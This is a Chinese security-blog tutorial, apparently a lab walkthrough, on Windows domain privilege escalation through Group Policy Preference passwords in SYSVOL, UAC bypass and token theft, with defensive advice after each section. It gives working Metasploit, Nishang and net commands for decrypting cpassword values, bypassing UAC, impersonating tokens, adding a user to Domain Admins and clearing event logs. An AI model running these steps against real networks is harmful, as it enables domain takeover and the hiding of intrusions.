组策略首选项提权分析及防范
sysvol
SYSVOL是活动目录里面一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器间进行复制
SYSVOL文件夹是在安装活动目录时创建,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等
SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享
整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在
C:WindowsSYSVOLDOMAINPolicies
常见的策略组首选项
●映射驱动器(Drives.xml)
●创建本地用户
●数据源(DataSources.xml)
●打印机配置(Printers.xml)
●创建/更新服务(Services.xml)
●计划任务(ScheduledTasks.xml)
使用条件
创建了组策略,并且使用了,修改本地机器管理员密码了
模拟一下
在其他机器使用如下命令同步之后也能生成SYSVOL
gpupdate
获取凭证数据
管理员在域中新建一一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码
2012微软公布了改密码的私钥后,XML中文件的密码安全性大大降低,该密码用的AES-256算法,公布之前安全
任何域用户和域信任的用户均可对该共享目标进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机
在SYSVOL中搜索,可以找到包含cpassword的XML文件
手动获取法
先找到唯一ID
然后在以下目录寻找
C:WindowsSYSVOLdomainPolicies{唯一ID}MachinePreferencesGroups
直接访问发现密码被加密
使用工具解密
gpp-decrypt 加密后的密码
type命令查询
type C:WindowsSYSVOLdomainPolicies{EBAD84FD-741B-4275-A23D-584E7744F2E0}MachinePreferencesGroupsGroups.xml
Get-GPPPassword.ps1
下载地址
MSF-/post/windwos/gather/credentials/gpp模块
use post/windows/gather/credentials/gpp
获得一个session之后用该模块也可以查询到
set session 2
可选cpassword属性的策略组首选项
●ServicesServices.xml
●ScheduledTasksScheduledTasks.xml
●PrintersPrinters.xml
●DrivesDrives.xml
●DataSourcesDataSources.xml
防御
-
设置共享文件夹SYSVOL的访问权限
-
将包含组策略密码的XML文件从SYSVOL删除
-
不要把密码放在所有域用户都有权限访问的文件中
-
如果需要更改域中机器的本地管理员密码,可以用LAPS
绕过UAC提权分析及防范
UAC的概念
UAC也就是用户账户控制,在进行一些高权限操作时,就需要进行UAC认证
例如一个低权限账户想添加用户时,就需要UAC认证获得权限
UAC是微软在Windows Vista中引入的技术,旨在提高安全性,在Windwos Vista及其更高版本时将权限分为了高中低三个等级
进程的分级
高等级:有管理员权限
中等级:有普通用户权限
低等级:权限有限,可以保护在当收到攻击时
需要UAC的授权才能进行的操作列举如下
●配置Windows Update
●增加/删除账户
●更改账户类型
●更改UAC的设置
●安装ActiveX
●安装/卸载程序
●安装设备驱动程序
●将文件移动/复制到Program Files或Windows目录下
●查看其他用户的文件夹
UAC有如下四种设置要求
●始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
●仅在程序试图更改我的计算机时通知我:这是UAC的默认设置当本地Windows程序要使用高级别的权限时,不会通知用户但是,当第三方程序要使用高级别的权限时,会提示本地用户
●仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
●从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
Bypass UAC
MSF的bypassuac模块
使用模块1
要求:必须在管理员组
use exploit/windows/local/bypassuac
-
配置参数
set LHOST [addr]
set session [id]
-
执行
run
-
得到新shell后输入如下命令提权
getsystem
-
改编码好看一点
chcp 65001
使用模块2
要求:必须在管理员组
use exploit/windows/local/bypassuac_injection
该模块不落地,反射DLL方式更不容易备查杀
Runas模块
要求:必须在管理员组或者知道管理员密码
use exploit/windows/local/ask
创建一个可执行文件,然后目标机器会发起一个权限提升的请求,点击确定则会回弹高权限shell
点击确定
超时了一下,再次尝试,成功
Nishang的Invoke-PsUACme
使用Sysprep方法和默认的Payload执行
PS > Invoke-PsUACme -Verbose
使用oobe方法和默认的Payload执行
PS > Invoke-PsUACme -method oobe -Verbose
使用-Payload参数可以自行指定要执行的Payload
PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
防御
-
在企业网络中,最好是内网机器的使用者不拥有本地管理员权限,以此来降低风险
-
在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动,使用本地管理员权限登录的用户,要将UAC设置为“始终通知"或者删除该用户的本地管理员权限(这样设置后,会像在Windows Vista中,总是弹出警告)
-
使用微软的EMET或MalwareBytes来更好地防范0day漏洞
令牌窃取分析以及防范
令牌
简介
令牌是系统中的临时秘钥,相当于账户密码,用于决定是否允许请求以及判断当前请求是属于哪个用户的,有令牌就可以不提供密码去对网络和资源进行请求,令牌将持续存在(除了重启系统)
特点
随机性和不可预测性,访问令牌代表访问控制操作主体的系统对象,密保令牌也叫做认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如U盾
会话令牌是交互会话中唯一的身份标识
伪造令牌攻击
核心是kerberos协议
kerberos
是一种网络认证协议,其设计目标是通过秘钥系统为客户机/服务机应用程序提供强大的认证服务
Kerberos协议的工作机制
过程:
①、客户端向认证服务器发送请求,要求得到证书
②、认证服务器得到请求后,将包含客户端密钥的加密证书发送给客户端,该证书包含服务器的Ticket(包含由服务器密钥加密的客户机身份和一份会话秘钥)和一个临时加密密钥(又称为会话密钥,Session Key),认证服务器也会向该服务器发送一份证书,使得服务器能够验证登录的客户端身份
③、客户端将Ticket传送给服务器,如果服务器确认该客户端身份,就允许它登录服务器
客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌
令牌窃取攻击
mimikatz
MS14-068.exe -u [email protected] -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d hacker.testlab
失败,换种方法
MSF令牌窃取1
首先拿到一个msfshell
进程迁移
进入隐身模式
use incognito
查看可利用令牌
list_tokens -u
模拟用户令牌
impersonate_token [user_name]\[domain_name]
再次提权
getsystem
添加用户
add_user ljwsb A1B2C3.. -h 192.168.1.17
添加到域管
add_group_user "domain admins" ljwsb -h 192.168.1.17
查看是否添加成功
net group "domain admins" /domain
建立IPC$连接
net use \192.168.1.3c$ A1B2C3.. /user:hackerljwsb
net use \192.168.1.17c$ A1B2C3.. /user:hackerljwsb
查看IPC$连接
net use \192.168.1.17c$
测试使用
echo a > \192.168.1.17c$1.txt
dir \192.168.1.17c$nishang-master
被连接机上情况
数据库服务器
这里administrator是我用管理员运行cmd产生的
域控服务器
痕迹清理
net user ljwsb /del
clearev
MSF令牌窃取2
迁移获得system权限
msf的shell中用ps查看进程以及权限
ps
迁移到system的进程
migrate [system_pid]
添加用户并添加到域管
net user ljwsb A1B2C3.. /ad /domain
net group "domain admins" ljwsb /ad /domain
令牌窃取防御
-
及时安装补丁
-
对来路不明的软件不要使用
-
对令牌的时效性进行限制,防止散列值被破解后泄露有效的令牌信息,越敏感的数据令牌的时效性应该越短,若每个操作都使用独立的令牌,就可以定位泄露令牌的操作或者环节
-
对于令牌,应该采取加密存储以及多层验证保护
-
使用加密链路SSL/TLS传输令牌,以免被中间人窃听
NGC660安全交流群,感兴趣的师傅们可以进一下
- 群内致力于打造一个良好的交流环境,还请各位师傅友善交流~
免责声明
由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(NGC660安全实验室):内网权限提升防御与分析(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论